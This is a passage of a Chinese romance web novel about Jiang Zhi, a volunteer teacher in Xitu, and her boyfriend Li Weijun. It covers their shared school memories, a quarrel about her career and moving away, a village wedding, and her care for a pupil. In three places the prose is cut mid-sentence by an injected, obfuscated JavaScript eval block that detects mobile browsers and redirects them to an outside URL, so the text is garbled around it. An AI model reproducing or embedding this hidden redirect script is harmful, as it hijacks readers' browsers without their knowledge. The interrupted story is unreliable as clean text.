她或许忘记了,高二家长会,李承良坐错位置给她苹果那次,他在她那张成绩单上不止签了名字,还在家长建议区写:愿惟钧继续保持,感谢老师和学校的用心栽培。 虽然他总说自己的字不好看,像小学生字体,但每次写评语都一笔一划十分认真,李承良对待他真的没话说。 姜至捏了捏他的手掌,“那些成绩单你还留着吗?” 李惟钧反手握住她,笑说:“每次家长签完名字之后咱们班主任都要回收的。” “对对对,我忘了。高中的东西你都处理了?我在西途都没见过你以前的东西呢。” “都在秋谷老家放着,我爸的和我的,我都没扔。” 姜至看着他的侧脸,忽然晃晃他的手,说:“李惟钧,有时间你带我回秋谷吧。” 等车停稳,熄了火的间隙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384538|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李惟钧僵着身子侧头去看她,她解开安全带,往他这边凑了凑,“带我回去吧,不要总是你一个人回去了。” 李惟钧笑笑,在她额头上亲了下,“好。” 下了车,两个人牵着手进了一家书店。期中考试的语文成绩虽然进步了,但作文还是写得不太好,姜至跟校长申请往学校里添置一些课外书,校长批了资金,让她去办这个事。 这间书店是李惟钧知道的西途最大的一间,空间很大,有新书区也有旧书区,很多人都会把不要的书卖到这里。 姜至看到了很多绝版的言情小说,多亏了乔映谣,这些她都看过,指着书架跟李惟钧说:“乔映谣都有,高三那阵她每一周都往学校带好多闲书,在她们班传完一遍之后我就拿过来看,离高考还有三个月的时候她还带过《十宗罪》来着。” 说着,姜至就忍不住笑,“结果她班主任发现了,把她那些小说一锅端,而且她班主任还问她是不是不开心,《十宗罪》有的案子比较变态嘛,她还以为乔映谣有心理问题了。” “其实咱们班有人也被收过书。” “谁啊?我居然不知道?” 李惟钧嘴角含笑,“窦维。” “啊?他还看书呢?”姜至八卦道:“他也看言情小说啊。” “不是言情小说,”李惟钧卡了壳,有点不知道该怎么跟她说:“反正也不是什么正经书。” 姜至挑挑眉,“不正经?有多不正经?” 能有乔映谣的颜色书不正经? 李惟钧含糊道:“跟学习无关。” 姜至问他:“你看过吗?” 这能说实话吗,李惟钧摇头说没有,强硬地把话题扯回来,“那次是刚分班没多久,语文老师让咱们互相换书来着。” 姜至想起来了,在记忆中找到有关李惟钧的事让她感到异常兴奋,“咱俩那次是搭子,对吧!” 理科班大部分人写作文编都编不出话,语文老师为了让他们不词穷,提出让他们互相分享书籍,姜至正好抽到了李惟钧的号码,她记得李惟钧和她分享的是《活着》,姜至分享的是岩井俊二的《情书》。 “其实吧,我也没看过几本正经书,”姜至想到那本《活着》就觉得自己的《情书》有点不太正经了,那点不好意思迟在近十年后姗姗来迟,“四大名著我都没完整看完过,也就《格列佛游记》坚持看完了,别的都是翻了两页,实在看不下去,换书的时候我也没想到搭子会是你。” 李惟钧从书架上抽出一本旧版《活着》,隐隐带着调笑的意味问她:“那这本看完了吗?” “当然!看哭我好几回呢,导致我都不敢看第二遍,有庆没了本来就够难受的了,刚哭完,凤霞就没了,然后就是家珍,我眼都哭肿了!”她指着自己的眼睛。 他哄着人,“好了好了,我刚才逗你的,知道你很认真地看完了。” “那你呢?《情书》这种比较细腻的言情一般没有男生喜欢看吧。” 李惟钧却说:“书和电影都看完了。” 还真是认真啊,姜至问他:“是不是觉得很无聊?” 李惟钧摇头:“不无聊,但我确实不太喜欢。” 姜至一副“猜到了”的表情,“确实,男生们都不太喜欢看这类的东西。” 李惟钧说:“不是因为题材,而是有点遗憾。遗憾男树没有早点告诉女树,他喜欢她,要是说出来的话,结局可能就不是那样了。” 这个回答让姜至略感意外,她竟然不知道该说什么,也没什么预兆,看着李惟钧,脑子突然就冒出这么一个想法:“你要是男树的话,会说吗?” 李惟钧笃定地看着她:“我会。” 所以他写了那封情书。 “那如果女树拒绝你呢?” 如果姜至当时拒绝他呢? 他不是没想过这个问题。 李惟钧搂紧她的肩膀,说:“你是女树,那我就使劲儿追啊。” 31.盛夏将至(9) 盛夏将至(9) 西途的冬天似乎比别的城市来得早,虽然每天还是艳阳高照,但一过国庆,气温急剧下降,好像一夜之间跳过秋天进了冬天。 姜至赖床的毛病更严重了,她很怕冷,现在又不到开暖气的时候,只要一回到盛夏将至躺在李惟钧的床上就不想起床,李惟钧每次都得哄着她从床上下来。 但是这次,闹钟响了,姜至关掉之后转头一瞧,李惟钧居然也没起床,正朝向她的方向侧躺着,握起拳头支着头看她,嘴边噙着笑。 天气很好,耀眼的阳光照进来,屋子里暖洋洋的,姜至眯着眼睛,看见李惟钧脸上细小的绒毛。 第一次看到这样的李惟钧,好奇妙,她产生了想让日子一直这样过下去的念头。原先对两个人的生活从没产生过什么幻想,但如今却突然描绘出来了,她想要的就是这样—— 被喜欢的人拥在怀里,身体沾染上他的体温,味道,想一辈子和他这样拥抱下去。 一辈子? 姜至被自己一闪而过的念头弄得怔了瞬。 她转过身子面向他,脸扎进被子里,心口扑通扑通的,“你今天怎么没起床呢?” 他把被子往下扯了扯,给她留了个气口,摸着她热乎乎的脸颊,似乎找到了他整个人生中最美好的时刻,“偷个懒,我也体验一把你的快乐。” “感觉怎么样?” “很舒服,怪不得你不想起,被窝里太暖和了。” 姜至笑嘻嘻地抱住他的腰,“是你很暖和。” “拿我当暖床的了?”他把人往怀里揽了揽。 “这难道不是男朋友的作用吗?” 李惟钧神清气爽地笑出声,笑着笑着,目光自然而然地划到她撅起来的红唇上,低头吻了下,半个身子压住她。 姜至哼哼两声,在他怀里拱了拱,像只小猪,李惟钧没听清,“什么?” “外面有人呢,你卧室隔音没有二楼好。” 他挑挑眉,低声说:“郑阿姨不会说什么的。” 姜至接着蛄蛹蛄蛹,撒娇道:“白天只亲亲就好了。” 好可爱,李惟钧又笑出来。 “你还笑!我还不是在替你想!” 总是她舒服了眼睛一闭倒头就睡,他给她收拾干净,然后自己再去解决。 现在实在不是时候。 李惟钧不笑了,翻了个身,掐着细腰让她在上面,“那就只亲亲。” 腻歪了会儿,姜至的肚子开始叫唤,李惟钧摸摸她肚子,“早饭想吃什么?” 两个人站在洗漱台前并肩刷牙,姜至说:“郑阿姨做什么就吃什么,你别动手了,咱们待会儿去看澜姐吧,她昨天说让咱们上家吃午饭去,路上正好去趟商场,我给她带点东西。” 李惟钧仰头,慢悠悠叹了口气,“我变妹夫了?” 姜至笑弯了腰。 郑阿姨早饭做的鸡蛋饼,李惟钧往饼上抹了酱,又煎了几片火腿,洗了点儿生菜给她卷着吃,姜至到厨房舀了几勺辣椒酱,问李惟钧:“要不要喝紫菜汤?我冲两碗。” 她放在桌上的手机一直在响,李惟钧扫了眼,起身,“我来吧,你先去吃。” 姜至回到餐桌一看手机才发现微信炸了,爸爸妈妈,姑姑还有好多人都给她发了一个链接。 今年的国考公告出了,月底开始报名,12月10号考试,他们都问她今年要报哪个单位。 姜至立刻没胃口了。 一出公告,就接连有两个支教老师提出了辞职,隔天一回学校,和她同批来的数学老师就收拾了所有东西准备回家备考,她已经不是应届生了,专业也冷门,能遇到一个对口的岗位非常不容易,校长不好阻拦,只好同意了她的离职。 拉着行李箱临走前,她班的很多学生去送她,那个场景就像他们刚来支教时,学生送上一批老师离开谷黎那样,操场上哭声一片。 学生难受,哭得泪眼汪汪,数学老师心里也难受,但她没办法,她年纪不小了,在这里耗不起。 四年级的学生跑出教室趴在围栏前看着操场,卓玛忽然小声问姜至:“老师,你也会走吗?” 姜至喉咙一噎,摸摸她的头,笑说:“不会的。我会和你们一起毕业,不是答应过你们要送你们去初中吗?” 卓玛的眼睛蹭一下亮了,嘴角咧着,下意识拉着她的手腕来回晃动着,“真的吗!” 姜至在她眼睛的光芒中看到自己的倒影,用力点点头。 “太好了!”听到她的承诺,学生们欢呼着,兴奋得在楼道里乱窜。 姜至敛起笑容,怅然地望向远处离开的校车。 * 或许是一天比一天冷,姜至的磨蹭劲儿也一天比一天严重,放周假也不出门活动了,就只是窝在床上打盹,也很少下地,懒得要命,喜欢让李惟钧抱着她去洗漱,去吃饭,喜欢和他在床上黏一整天,总之不出门是不会从他身上下来的。 这些时刻,李惟钧也不多说话,看着倒是无比淡然,实际上他的心很乱。 公告他也看到了,姜至的选择有很多。 他一直自私地没有问她,知道自己如果问了她就会不开心,也知道自己心里一直有道声音在说不想要她离开,他也不想让她不开心,更不想和她吵架,索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393419|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性就任由自己自私一次。 但马上就要到报名截止日期了,他不可能永远这样自私,还是忍不住问了她: “报名了吗?” 姜至似乎睡着了,李惟钧去看她,她才缓缓出声,“我以为你不会问我了。” 李惟钧的手臂紧了紧,抚弄着她的脸颊,声线温和又冷静,“怕你不开心,但是至至,这件事关乎你以后的工作和生活,不是开玩笑。” “不打算报名了,”姜至颓然地叹了口气,“去年一整年,国考省考事业编我都参加了,但一个都没进,真的很累啊你知道吗,我可能没那个运气吧,缓缓再说吧。” 李惟钧听不得姜至用丧气的语气说这种话,他温声说:“我知道,我都知道,累了那我们就好好歇一歇。” 心里猛地涌上一阵委屈,她和爸妈说这次考试不参加后,如预料之中那样轮番遭到长篇大论的劝说,姜至问他:“你想不想要我走?” 强烈的理智让李惟钧无法立刻做出选择,他们都是大人,身后还有两个家庭,然而,就在他沉默的几秒里,姜至的委屈飙到了最高点,她仅仅就是想听他一句“不想你走”而已,都这么难吗?她不想哭的,也不想跟他吵架,但实在憋屈,不知道自己已经在掉眼泪了,抬起泪水涟涟的脸,过往所有情绪都堆积到一起,不可置信地问:“你想要我走?” “不是……” 李惟钧慌了,呼吸也乱了,用手掌在她脸上蹭着,她的眼泪怎么会掉得这么快呢?快到他招架不住,断了线一样砸在他手背上,他都来不及在脑子里把想说的话组织好,他是个嘴笨的人,尤其在她面前。 “不哭了好吗?我不是那个意思至至,”李惟钧给她擦掉眼泪,慢慢缕清自己的头绪,缓声道:“我只是想这次是一个很好的机会,公告我看了,岗位也大概筛了筛,有很多适合你的,考上之后的福利待遇无论在哪儿都比在这里支教强。” “我不想听!”姜至捂着耳朵,“你都没问过我喜不喜欢!我要是想要那些福利待遇就不来了!” 眼泪怎么那么多呢,怎么擦都擦不完,这些泪砸在身上让他格外疼,他沉沉呼了口气,吻上她湿润泛红的眼睛,“是我的错,对不起。我不想你走,一点也不想。” 真的不想让她走。 姜至那么好,那么可爱,他觉得这个世界上所有美好的形容词都可以用在她身上,他喜欢了她八年,好不容易抱到怀里亲吻的人,怎么会舍得放开手呢? 他告诉自己先不要想太多,吻遍了她脸上所有地方,一遍又一遍重复:“我喜欢你的,很喜欢,你要相信我,没有人比我更舍不得你走。” 32.盛夏将至(10) 盛夏将至(10) 姜至也不知道自己哪里来的这么多委屈,尤其这次,失去了理智一样,执拗地想从李惟钧嘴里听到想听的答案。 她太害怕和李惟钧异地了,因为她很喜欢他。 虽然她看上去气势很强很作,但她其实不会吵架,也很少跟人起冲突,从小到大无论跟谁吵架,说不了几句话就想哭,有理没理都掉眼泪,搞得跟她吵架的人一见她哭就乱阵脚。 李惟钧当然也乱了阵脚,局促不安地擦着她脸上的泪痕,嘴里也耐心哄着亲着,见她哭都要急哭了,好像她欺负他一样。 姜至又想,她才没有欺负李惟钧呢,但尽管这样琢磨着,却说:“你又没错,不要再道歉了!” 李惟钧问:“好,要不要喝点热水?” 缓过神来,她摇头,“你还生气吗?” 闻言,李惟钧轻笑了下,似乎有点不理解,“为什么会生气呢?” 他放下水杯,把她的腿勾过来,姜至侧坐在他怀里,听见他说:“很正常,谈恋爱哪有人不拌嘴。” 说得对,谈恋爱嘛,总有意见不统一的时候,姜至彻底冷静了,支了支身子,掰着手指头数道:“那我们立个约定吧,以后吵架或者拌嘴,第一绝不能隔夜,第二绝不能冷战,有事就要及时解决。” 手指被他攥住,吻了下,“同意,还有第三吗?” 姜至又伸了一根手指:“必须讲道理,不能发小脾气。” 看着她竖起来的第三根手指,李惟钧忍不住勾唇,虽然就一秒钟。 姜至看见了,瞪着杏眼双手拍他,“你什么意思呀!” “我什么都没说。”他含着笑,揉她掌心。 “你是不是觉得我很烦……” 剩余的话被李惟钧吞下,他乐意吞下她所有让他欢喜和悸动的小脾气,把那些全都换做亲昵的嘬吻,他希望姜至永远做一个“敢发小脾气”的人,她这样的女孩子就该被宠着才对。 恰巧在她微张着唇的瞬间,舌尖探进来,扫过她的上颚,酥酥麻麻的痒意从口腔蔓延到大脑,她好想他再用力亲亲她。 在这件事上李惟钧总是很了解她的想法,转而又那么用力急迫地吻着她,横在腰上的手臂将她禁锢住,不知何时他们变成了面对面的姿势,姜至整个身体向他贴去,柔软的弧度压在胸膛上,衣角在动作间乱作一团,带着薄茧指腹落在腰间皮肤上,很舒服,她不自觉瑟缩了下。 急促的吻渐渐放慢,他温柔地一点点描绘着她的唇型,从急到缓,从重到柔,呼吸从未有过如此火热滚烫的时刻,快要把她也变成一把火,但姜至很喜欢。 喜欢到想要更多。 李惟钧好白痴。 姜至再次这样认为。 他甚至不好意思张开眼睛看着她,肌肉绷起,红着脸,仰着头,手臂搭在眉骨上,脖颈青筋迭起,细微的喘息声克制不住地从喉咙里溢出,落在耳朵里,麻了半边身子,姜至明白为什么有人爱听男.喘了。 她趴在他耳畔,轻声说了四个字。 李惟钧脑袋嗡了下,按着她的后脑勺,倾身来到她耳边,轻轻几声过后,咬了下她的耳垂,问:“满意吗?” 姜至还想再听,他覆上她的手,在她手废掉之前,烟花炸开那瞬间,她如愿听到了粗粝的闷哼,仅有一瞬。他的腿蓦地曲起来,她的身体也随之被抬起到合适的高度,他隔着情侣睡衣咬住她,空着的那只手像条自如的鱼探进来。 姜至颤抖着倒在他身上。 第二天是晴朗的一天,姜至强睁着酸痛的眼睛,起床简单收拾了一下自己,和李惟钧出发去参加婚礼。 婚礼的主角是谷黎小学旁边那个牧场老板的小儿子,牧场老板也是那个村的村长,和校长是很好的朋友,便邀请了他们这些老师一起去热闹热闹,几个住在附近村庄的学生也去了现场沾喜气。 上次在操场上语文课,李惟钧在牧场帮忙打了个配合,所以那些牛才那么听话,之后他便一直从牧场老板家订奶制品往民宿卖,因此他也在老板的邀请之列。 姜至是第一次参加谷黎当地的婚礼,新郎新娘穿着传统的谷黎服饰,低着头,新娘还遮着脸,李惟钧说更传统的谷黎婚礼新娘都不能出场,但是他们喝起酒来却毫不含糊,都是一整碗一整碗地端,简直是害羞和豪迈的结合体。 这里的结婚传统是要吃九顿饭,平均每个小时要上一次菜,一边吃一边聊,几个本地老师不爱喝酒,在一边研究民族舞。 这简直正中姜至下怀,她小时候唯一报过的兴趣班就是舞蹈班,学了十年民族舞。有老师叫姜至一起上台跳着玩,她看向李惟钧,眼底跃跃欲试,李惟钧拍拍她后腰,“去吧,我给你录着。” 姜至说:“你还没看过我跳舞吧!我小时候学过很久呢。” 李惟钧笑笑,不置可否。 跳谷黎舞就该穿谷黎当地的衣服,姜至皮肤本身就白,穿了身颜色鲜亮的长袍出来,更加光彩照人,一群小孩都围着她说好漂亮,李惟钧就没从她身上移开过眼,高中办联欢晚会她跳过孔雀舞,一身雀绿色的衣服,头发盘起来,别了枝青绿色的绒花,美得不可方物,跳舞时每一根头发丝都在发光。 但跳完那只孔雀舞之后她就吐槽以后再也不跳孔雀舞了!舞蹈服很显身材,有点小肚子都能看出来,她都有好几天没吃米饭了,整天吃那些破菜叶子! 当天晚上李惟钧就在食堂看到了她,面前餐盘里的米饭堆成了小山。他觉得她吃不完,慢悠悠吃完晚饭,姜至果然还在跟米饭搏斗,吃不完但又不想浪费,最后硬塞下去,撑得要命,哭丧着脸说,以后再也不吃米饭了! 李惟钧看着台上的姜至,笑意温和。 他已经见过很多样子的姜至了,每个样子他都喜欢,有小脾气也喜欢,怎么会觉得她烦呢? 同桌的老师见他和姜至互动,调侃了句:“姜老师还带着家属来的啊。” 李惟钧不得不分了些注意力,笑着点点头,“我是她男朋友。” 酒足饭饱正是聊天的好时候,有人打趣他们俩,姜至的同事也在八卦,问:“你是西途本地的吗?我好像在一个滑雪场见过你。” 他敲了敲杯壁,下意识想解释,但又觉得没必要,多说也是被八卦,“对,我是西途人。” “哎呦,我记得姜老师是清潭的吧,那以后她还回清潭吗。” 说者无意,也就是随口一问,并没有别的心思,但听者有心 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难道异地就不能过了吗?当然不是的,只是他们双方都会很累。 那么如果她留在这里呢?不,任丽娟应该不会同意的。 李惟钧回神,注意到姜至没在台上,四处张望着准备起身去找她,后面有人扑过来,先带过一阵好闻的香气,紧跟着,双臂就环着他的肩颈把他抱了个满怀。 “不跳了?”他侧头问。 “没有提前拉伸,不跳了,不然明早起来腿酸。”她看向他面前的酒,“你喝酒啦?” “刚才跟人聊天喝了点。” “好喝吗?” “很烈。” 姜至舔舔嘴唇,“我想尝尝。” 李惟钧递到她嘴边,“不要喝太快,这酒容易上头。” “哎,那我们待会儿怎么回去?” “放心,我叫代驾。” 姜至抿了一口,苦涩辛辣的味道在舌尖绽开,她皱着眉头,“你酒量怎么样啊?” “啤的没醉过,白的喝不了几杯。”他拧开一瓶苏打水,“混着喝不容易难受。” 姜至说:“我酒量很好的!大学的时候跟我舍友喝酒从来没醉过!” 然而,酒席散去,自称酒量好的姜至醉倒在李惟钧怀里,被他一路抱回家。 煮好醒酒汤,李惟钧喊她起来把汤喝掉,她似乎恢复了些意识,但还是难受,剧烈的眩晕感让她想睡但睡不着,意识是模糊混沌的,皱着眉头一直喊他的名字,李惟钧先前没听清,后来听清了,伏在她身上回了声:“在呢,睡吧至至。” 睡梦中,姜至感觉额头落下一个柔柔的吻,她半睁着眼,看见李惟钧的脸,模模糊糊,忽近忽远,她一下子难受了,死死搂住他。 这次她说的话李惟钧听清了,她抽泣两声,说:“为什么一会儿近一会儿远呢?我不想跟你分开。” 或许她确实酒量很好,只是禁不住心里有事,举杯消不了愁,只会更愁。 李惟钧掀开被子把姜至抱到身上,安抚地拍着她的背脊,温声说:“那就不分开。” 33.盛夏已至(上) 盛夏已至(上) 酒醒过后就是漫长的头晕,尽管李惟钧已经给她喝了醒酒汤,但姜至低估了谷黎酒的威力,更何况她喝得很猛,到周一返校上课,那股晕乎乎的感觉似乎还存在着,身体也软绵绵的。 结果半天的课上完,浑身又开始发冷,姜至终于意识到不对劲了,一量体温才发现自己正在低烧。 她很少生病,但或许是被情绪影响到了身体。她忘记了喝醉后发生过什么,李惟钧也说她没有发酒疯,但她只觉得清醒后,心里总是闷闷的。 学校有医务室,姜至买过药回宿舍睡了一下午,傍晚睡醒后出了点儿汗,总算是恢复了不少力气。 李惟钧下午给她打了个电话,她没接到,他说这周五不能来学校接她了,临时需要出趟差,得跑很多城市,暂时回不来。姜至一想肯定又是“让爱回家”出了事,自打知道这个网站是李惟钧创建的,她时不时也会关注一些走失儿童的信息,也注意到有很多其他城市的人给李惟钧发过邮件,请他帮忙找孩子。 她给李惟钧回了句好,关掉手机坐起来。 早上开会校长说过段时间就要到学期末了,老师们得着手开始写教学工作总结,姜至猛地反应过来,2018年要过去了,她已经在西途待了将近十个月。 真快啊,眨眼间一年就要过去了,这一年也发生了太多太多事。 大概构思了一下工作总结,正好其他老师也都从教学区回来,睡上铺的夏老师问姜至:“你怎样了?还烧吗?” 姜至含笑说:“没事,已经不烧了。” 又见她坐在桌前,掏出 ipad,姜至扫了眼,看到她在刷行测题,愣了一愣,以往回到宿舍都是躺到床上跟李惟钧聊天,还从没注意过她也在准备考试,“你也要参加国考吗?” 夏老师说:“试试看吧,西途正好有个合适我的岗位。” “西途的?”姜至迟疑了下。 她猜到了姜至会是这个反应,“东边沿海城市的岗太难考了,我还是往届生,进面分数不得飙到140 啊,其实我觉得西途很好,就拿咱们待的这个学校来说,适应了之后,条件不算差吧,西途好歹也是个旅游城市呢,经济发展也不错,无非就是地理位置太靠西,离家远了点儿,但那也没什么啊。” 姜至像是一下被什么东西击中,走着神点点头,对,那也没什么啊,喃喃道:“是,西途也很好。” 今天晚上轮到姜至查宿舍。小学吹哨早,晚上 9 点准时熄灯,姜至 8 点 55 就从一楼开始慢慢往上走,到三楼,刚一拐过楼梯口,就见一个女生嗖地窜回了宿舍,看见她跟看见什么怪物似的躲躲藏藏。 姜至没看清是谁,跟进去叫住她,“怎么了?” 学生一扭头,是卓玛。 “大家都上床了,你怎么还不睡呢?”姜至关掉手电筒,轻声问。 卓玛的双手扭扭捏捏往后藏,微微驼着背,小声道:“老师,我马上就睡了。” 哼,欲盖弥彰。姜至往她背后瞥了眼,“手里拿的什么呀?” 卓玛局促又窘迫地绷住嘴唇,在黑暗中烧红了脸,最后还是抵不过姜至犀利的眼神,垂着头把手伸了出来。 看清是什么,姜至反倒开始局促了。 一件白色的衣服,刚洗干净,像是内衣? 用“像”这个字是因为这件内衣是用一条吊带背心剪出来的。 姜至沉默住,没再说什么,轻轻拍了拍卓玛刻意含起来的双肩,“快去睡吧。” 周五,下了最后一节课,姜至带上卓玛先去了趟市里。 “老师,我们要去哪儿呢?”姜至今天中午就跟她说放学后带她出去,但没说干什么,她已经好奇了一整天。 姜至说:“到了就知道啦。” 卓玛很少到市里去,一路都在扒着窗户东张西望,看什么都很新奇,但她没想到姜至会带着她来店里买内衣,往店门口一站,小脸唰一下红了,拽住姜至的衣角,怯怯喊了句:“姜老师……” 姜至蹲下身,“没关系,不用害羞的。” 这类衣服姜至不敢轻易下手买,她拿不准大小,现在的孩子发育都很早,也觉得应该让卓玛自己动手去选。 她提前跟卓玛奶奶打过招呼,卓玛奶奶从来没跟卓玛说过这件事,或许是羞于开口,又或许是压根不了解,那件内衣还是卓玛看见同宿舍别的女孩子穿,她不好意思跟奶奶张口,所以自己才剪了一件不要的吊带背心做成的。 在她看来,给小孩子买个内衣算不得什么,她从小有爸有妈有爱,娇生惯养长大,受了委屈有人疼,不懂的东西有人教,可卓玛要找谁呢? 她只能尽她的绵薄之力,给她的人生添点助力。 姜至牵着她的小手走进店里,耐心道:“女孩子到一定年龄都要穿的,我也有穿啊,大大方方去选就好,没人会说什么的。” 傍晚的西途夜景繁华无比,买完内衣,姜至和卓玛坐在街边的餐厅里吃饭,等餐间隙,她扶住卓玛的肩膀,往后打开,“不要驼背,女孩子嘛,挺直身板才好看。” 卓玛还是怯生生地看着四周,满脸写着不好意思,她一松手,她自动就驼了回去。 姜至在心底叹了口气,明白她为什么总是驼背,刚开始发育的女孩子确实会对自己身体发生的变化感到无措,但她应该要明白这是正常的,挺直腰板演示给她,“像我一样。我上课的时候什么时候驼着背上过?你再看看四周的女生,哪个是驼着背的?这么小的年纪像个老太太一样弯着身体可不好看哦。” 卓玛抿出一个笑,在姜至鼓励的目光中,直起身子。 姜至竖了个大拇指,“等你六年级的时候去当升旗手吧!绝对很帅气!” 刚说完,餐台叫号让取餐。姜至带她吃的汉堡,刚才问了她想吃什么,但她一直小心翼翼地说吃什么都行,很怕多花钱,拿到餐后也没吃多少,返程时,手里掂了很多没吃完的东西。 姜至问她:“吃饱了?” 卓玛点点头,“真的饱了。剩下这些拿回家给我奶奶吃,她从来没吃过呢,以后等我长大了我也靠我自己的本事带她去外面吃饭。” 姜至露出宽慰一笑,“可以啊,那你长大了想去做什么?” “我要回来,回谷黎。” “为什么呢?” “姜老师,庄稼还要收的,每天早上还要浇水,我奶奶一个人弄不过来,等我长大了就回来当老师,像你一样的语文老师。白天在学校教课,晚上回家帮奶奶。” 姜至撇过头,眼眶渐渐热了。 …… 今年,西途的雪季来得很晚,在12月初姗姗来迟,大雪断断续续下了将近一个月,元旦当天,学校放了一天假。但是雪大路滑,而且还有不到20天就期末考试了,基本上没几个学生回家,都在宿舍待着,姜至本打算也留在学校,这种天气李惟钧开山路过来她实在是不放心,然而两个人还没聊完,她就接到了任欣然的电话。 前段时间国考笔试结束后,任丽娟问她这半年的支教经历如何,倒是没问别的,只不过她能猜到妈妈到底是想说什么。 错过国考还有四月份的省考呢。 谁能想到,手机上没问,任丽娟居然直接派人杀到西途来了。 而且落脚地还是盛夏将至。 姜至赶到时,任欣然正坐在盛夏将至的咖啡厅里,等李惟钧给她煮茶。 两个人都没料到她来得如此快。 李惟钧直接放下茶壶,接过她的包,拍掉她衣服上落下的雪,“不是说我去接你?” “哦,没注意看手机。”姜至慌里慌张地打量他一眼,从头到脚,一个头发丝都没放过。 任欣然慢悠悠开口:“至至,我没吃人。” “……”姜至窘迫地歪过头,越过李惟钧的身子看她,“姐,你来怎么也不跟我说一声。” “本来也没准备长待,跟领导过来这边学习的,就是顺路来一趟,待会儿就回。” 李惟钧给了姜至一个暖宝宝,她坐在任欣然身边,却不知道该从何说起。 任欣然替她开了口,“也是妈妈让我来的。” 说着,看了眼煮茶的李惟钧。 姜至打了个激灵,“你跟他都聊什么了?” 任欣然饶有兴致地盯了姜至几秒,看得姜至愈发心慌,但李惟钧面色无异,煮好茶摆在她们俩面前,主动腾出空间,“我到后院帮阿姨扫扫雪,有事儿叫我就行。” 走了没两步,又扭过来,攥住姜至凉丝丝的手说:“厨房有晚饭,还热着,自己去盛?” 姜至无声眨眨眼。 看完全程,任欣然的目光落在姜至担忧的眼睛上,“就是为了他才不回清潭参加国考的?你俩在墙上的合照我看到了。” 姜至立刻摆手摇头说不是,“真的跟他没关系!我还在支教啊!” “至至,你要是这个样子跟妈妈说话可不行。” “……” “输人不输阵懂不懂?你还不了解妈妈?你越慌她越强势。” 思索几秒,姜至迟疑地张口:“姐,你是来帮我的吗?” 任欣然被她逗笑,答非所问道:“你这话的意思是不想走了?” 姜至哑了声。她是这个意思吗?她居然是这个意思吗。 她忽然想到了自己在某个夜晚鬼使神差筛选出来的岗位表——近三年来,西途省考的岗位表。 她在表中选中了西途市教育局。 原来她想要的是留在西途吗。 在任欣然看来沉默就是答案,她端起热茶喝了口,身体迅速回温,又瞥向姜至手里的暖手宝,看来那个男人还挺细致的,“在这儿住得怎么样?” “你看我胖了还是瘦了?” 任欣然没说话,姜至说:“他把我照顾得很好,当然,我自己也没亏待我自己。” 她冷静道:“但是至至,太远了。” 姜至蹙起眉头,再次沉默。任欣然的意思就是任丽娟的意思。 “既然喜欢,就不能逃避这个问题,省考什么的可以先放一边,那个以后也有机会,指不定哪回就上岸了,逼太紧也没用。但是能让你放在心里的人不多,谈就认真谈,我来也是提前给你打声招呼,妈妈知道你在谈恋爱,过年回家免不了要问你,你想好要怎么说了吗?” 当然没想好。 一直到放了寒假,在学校批完期末试卷,备了课写完教案,姜至都没想好。 在任丽娟的催促下,姜至买了回清潭的机票,但人却没什么回家过年的心思,一来是自己没想好应对的话,很怕说服不了任丽娟,二来…… 她在等李惟钧。 李惟钧说,任欣然没有跟他谈太多东西,仅仅就只是问了些她在西途的事而已。 姜至才不信,任欣然在某些方面简直就是翻版任丽娟。 但李惟钧很淡然,相比于她的愁绪,李惟钧每天都很松弛,松弛到让姜至觉得慌乱。 离飞机起飞的日子又近了一天,姜至和李惟钧办完民宿的年货回来,高越冬从后备箱搬东西时,李惟钧拦住他:“里面那几个箱子别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他自己也清楚姜至是个什么样的人,也早就知道她总有一天会离开西途。最一开始他就想过,她走还是留,他不会变,只是那时候他们还没有建立起如此深刻的亲密关系,但现在不同了,他确定他想要姜至一辈子,因此,不想让自己的一己之私干扰到姜至的想法,更不想让这段感情成为她和家庭之间的阻碍。 难道就这样接受异地了吗?当然不是的,他私心里不想让她和自己分隔两地,但更害怕她因他的话而背井离乡,和父母分开是什么滋味他再清楚不过了,姜至不应该承受那种压力。 所以就由他来努力吧,挪到清潭的想法还在进行着,只是暂时还没什么有用的进展,说了也是吊人胃口,他不想提前开香槟,到最后却让姜至白白高兴一场。 等有眉目再说吧,李惟钧是这样想的,然而,他不知道这一时的不长嘴在姜至眼里全然变了调。 他的“暂时不作为”在这一刻放大了姜至对这段感情的不确定。 无非就是她留,或者他走,怎么到李惟钧这儿就变成沉默了呢? 她本就烦心着,两个人之间什么不吵架约定瞬间忘得一干二净,娇纵的脾气上来谁也挡不住,连她自己都没意识到自己又要发小脾气了,倏然从他怀里退了出来,李惟钧还抬着手臂,怀抱一下子变得空落落。 姜至的心簌簌下坠,眼底的光渐渐熄灭,平声说:“你太理智了,为什么不自私一些呢?” 李惟钧双眸微沉,试图让她冷静下来:“你还有父母。” “那你的意思是,你和我爸妈之间必须是二选一吗,如果我将来回到清潭咱们就分手?” 